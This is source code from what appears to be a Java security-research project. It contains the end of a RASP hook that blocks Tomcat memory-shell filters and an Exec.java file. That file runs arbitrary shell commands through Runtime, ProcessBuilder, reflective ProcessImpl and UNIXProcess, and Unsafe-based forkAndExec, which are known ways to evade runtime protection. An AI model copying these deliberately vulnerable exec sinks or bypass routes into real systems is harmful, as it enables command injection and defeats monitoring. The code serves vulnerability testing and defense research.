RASPManager.changeResponse(context.getHttpBundle()); 160 | String blockInfo = String.format("[!] %s %s Blocked by PPPRASP, MemShell name is %s, MemShell Class is %s [!]", Middleware.Tomcat.getDescription(), VulInfo.MSFilter.getDescription(), filterName, filterClass); 161 | 162 | RASPManager.scheduler(status, blockInfo); 163 | } 164 | super.before(advice); 165 | 166 | } 167 | 168 | }); 169 | } catch (Exception e) { 170 | 171 | } 172 | } 173 | 174 | @Override 175 | public void onLoad() throws Throwable { 176 | 177 | } 178 | 179 | @Override 180 | public void onUnload() throws Throwable { 181 | 182 | } 183 | 184 | @Override 185 | public void onActive() throws Throwable { 186 | 187 | } 188 | 189 | @Override 190 | public void onFrozen() throws Throwable { 191 | 192 | } 193 | 194 | @Override 195 | public void loadCompleted() { 196 | checkExecutor(); 197 | checkListener(); 198 | checkServlet(); 199 | checkFilter(); 200 | } 201 | } 202 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/Exec.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns; 2 | 3 | import sun.misc.Unsafe; 4 | 5 | import java.io.InputStream; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.Method; 9 | import java.util.Map; 10 | import java.util.Scanner; 11 | import java.util.concurrent.atomic.AtomicReference; 12 | 13 | /** 14 | * @author Whoopsunix 15 | * 16 | * 命令执行漏洞 17 | */ 18 | public class Exec { 19 | /** 20 | * java.lang.Runtime 21 | * @param str 22 | * @return 23 | * @throws Exception 24 | */ 25 | public static String runtime(String str) throws Exception { 26 | InputStream inputStream = null; 27 | String[] cmd = osChoose(str); 28 | if (cmd != null) { 29 | inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); 30 | } 31 | return new Scanner(inputStream).useDelimiter("\\A").next(); 32 | } 33 | 34 | /** 35 | * 线程注入 36 | * @param str 37 | * @return 38 | * @throws Exception 39 | */ 40 | public static String thread(String str) throws Exception { 41 | AtomicReference inputStreamRef = new AtomicReference<>(); 42 | Thread thread = new Thread(new Runnable() { 43 | @Override 44 | public void run() { 45 | try { 46 | String[] cmd = osChoose(str); 47 | InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); 48 | inputStreamRef.set(inputStream); 49 | } catch (Exception e) { 50 | // Handle the exception 51 | } 52 | } 53 | }); 54 | thread.start(); 55 | thread.join(); 56 | 57 | return new Scanner(inputStreamRef.get()).useDelimiter("\\A").next(); 58 | } 59 | 60 | /** 61 | * java.lang.ProcessImpl 62 | * @param str 63 | * @return 64 | * @throws Exception 65 | */ 66 | public static String processImpl(String str) throws Exception { 67 | InputStream inputStream = null; 68 | 69 | String[] cmd = osChoose(str); 70 | Class cls = Class.forName("java.lang.ProcessImpl"); 71 | Method method = cls.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); 72 | method.setAccessible(true); 73 | Process e = (Process) method.invoke(null, cmd, null, ".", null, true); 74 | inputStream = e.getInputStream(); 75 | 76 | return new Scanner(inputStream).useDelimiter("\\A").next(); 77 | } 78 | 79 | /** 80 | * java.lang.ProcessBuilder 81 | * @param str 82 | * @return 83 | * @throws Exception 84 | */ 85 | public static String processBuilder(String str) throws Exception{ 86 | InputStream inputStream = null; 87 | 88 | Class cls = Class.forName("java.lang.ProcessBuilder"); 89 | Constructor constructor = cls.getDeclaredConstructor(String[].class); 90 | constructor.setAccessible(true); 91 | String[] cmd = osChoose(str); 92 | ProcessBuilder pb = (ProcessBuilder) constructor.newInstance(new Object[]{cmd}); 93 | Method method = cls.getDeclaredMethod("start"); 94 | method.setAccessible(true); 95 | inputStream = ((Process) method.invoke(pb)).getInputStream(); 96 | 97 | return new Scanner(inputStream).useDelimiter("\\A").next(); 98 | } 99 | 100 | /** 101 | * java.lang.UNIXProcess 102 | * @param str 103 | * @return 104 | * @throws Exception 105 | */ 106 | public static String processImplUnixProcess(String str) throws Exception { 107 | InputStream inputStream = null; 108 | String[] cmd = osChoose(str); 109 | Class processClass = null; 110 | try { 111 | processClass = Class.forName("java.lang.UNIXProcess"); 112 | } catch (ClassNotFoundException e) { 113 | processClass = Class.forName("java.lang.ProcessImpl"); 114 | } 115 | Constructor constructor = processClass.getDeclaredConstructors()[0]; 116 | constructor.setAccessible(true); 117 | 118 | // arguments 119 | byte[][] args = new byte[cmd.length - 1][]; 120 | int size = args.length; 121 | 122 | for (int i = 0; i < args.length; i++) { 123 | args[i] = cmd[i + 1].getBytes(); 124 | size += args[i].length; 125 | } 126 | 127 | byte[] argBlock = new byte[size]; 128 | int i = 0; 129 | for (byte[] arg : args) { 130 | System.arraycopy(arg, 0, argBlock, i, arg.length); 131 | i += arg.length + 1; 132 | } 133 | int[] envc = new int[1]; 134 | int[] std_fds = new int[]{-1, -1, -1}; 135 | 136 | 137 | Object object = constructor.newInstance( 138 | toCString(cmd[0]), argBlock, args.length, 139 | null, envc[0], null, std_fds, false 140 | ); 141 | // 获取命令执行的InputStream 142 | Method inMethod = object.getClass().getDeclaredMethod("getInputStream"); 143 | inMethod.setAccessible(true); 144 | inputStream = (InputStream) inMethod.invoke(object); 145 | 146 | return new Scanner(inputStream).useDelimiter("\\A").next(); 147 | } 148 | 149 | /** 150 | * java.lang.UNIXProcess native 151 | * @param str 152 | * @return 153 | * @throws Exception 154 | */ 155 | public static String processImplUnixProcessByUnsafeNative(String str) throws Exception { 156 | InputStream inputStream = null; 157 | 158 | String[] cmd = osChoose(str); 159 | Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); 160 | theUnsafeField.setAccessible(true); 161 | Unsafe unsafe = (Unsafe) theUnsafeField.get(null); 162 | Class processClass = null; 163 | 164 | try { 165 | processClass = Class.forName("java.lang.UNIXProcess"); 166 | } catch (ClassNotFoundException e) { 167 | processClass = Class.forName("java.lang.ProcessImpl"); 168 | } 169 | Object processObject = unsafe.allocateInstance(processClass); 170 | 171 | // arguments 172 | byte[][] args = new byte[cmd.length - 1][]; 173 | int size = args.length; 174 | 175 | for (int i = 0; i < args.length; i++) { 176 | args[i] = cmd[i + 1].getBytes(); 177 | size += args[i].length; 178 | } 179 | 180 | byte[] argBlock = new byte[size]; 181 | int i = 0; 182 | 183 | for (byte[] arg : args) { 184 | System.arraycopy(arg, 0, argBlock, i, arg.length); 185 | i += arg.length + 1; 186 | } 187 | 188 | int[] envc = new int[1]; 189 | int[] std_fds = new int[]{-1, -1, -1}; 190 | Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); 191 | Field helperpathField = processClass.getDeclaredField("helperpath"); 192 | launchMechanismField.setAccessible(true); 193 | helperpathField.setAccessible(true); 194 | Object launchMechanismObject = launchMechanismField.get(processObject); 195 | byte[] helperpathObject = (byte[]) helperpathField.get(processObject); 196 | 197 | int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); 198 | 199 | Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{ 200 | int.class, byte[].class, byte[].class, byte[].class, int.class, 201 | byte[].class, int.class, byte[].class, int[].class, boolean.class 202 | }); 203 | 204 | forkMethod.setAccessible(true); 205 | 206 | int pid = (int) forkMethod.invoke(processObject, new Object[]{ 207 | ordinal + 1, helperpathObject, toCString(cmd[0]), argBlock, args.length, 208 | null, envc[0], null, std_fds, false 209 | }); 210 | 211 | Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); 212 | initStreamsMethod.setAccessible(true); 213 | initStreamsMethod.invoke(processObject, std_fds); 214 | 215 | 216 | Method getInputStreamMethod = processClass.getMethod("getInputStream"); 217 | getInputStreamMethod.setAccessible(true); 218 | inputStream = (InputStream) getInputStreamMethod.invoke(processObject); 219 | 220 | return new Scanner(inputStream).useDelimiter("\\A").next(); 221 | } 222 | 223 | public static byte[] toCString(String s) { 224 | if (s == null) 225 | return null; 226 | byte[] bytes = s.getBytes(); 227 | byte[] result = new byte[bytes.length + 1]; 228 | System.arraycopy(bytes, 0, 229 | result, 0, 230 | bytes.length); 231 | result[result.length - 1] = (byte) 0; 232 | return result; 233 | } 234 | 235 | /** 236 | * 构造对应系统的命令 237 | * @param str 238 | * @return 239 | * @throws Exception 240 | */ 241 | public static String[] osChoose(String str) throws Exception { 242 | String[] cmd = null; 243 | if (System.getProperty("os.name").toLowerCase().contains("win")) { 244 | cmd = new String[]{"cmd.exe", "/c", str}; 245 | } else { 246 | cmd = new String[]{"/bin/sh", "-c", str}; 247 | } 248 | return cmd; 249 | } 250 | 251 | 252 | 253 | } 254 | --------------------------------------------------------------------------------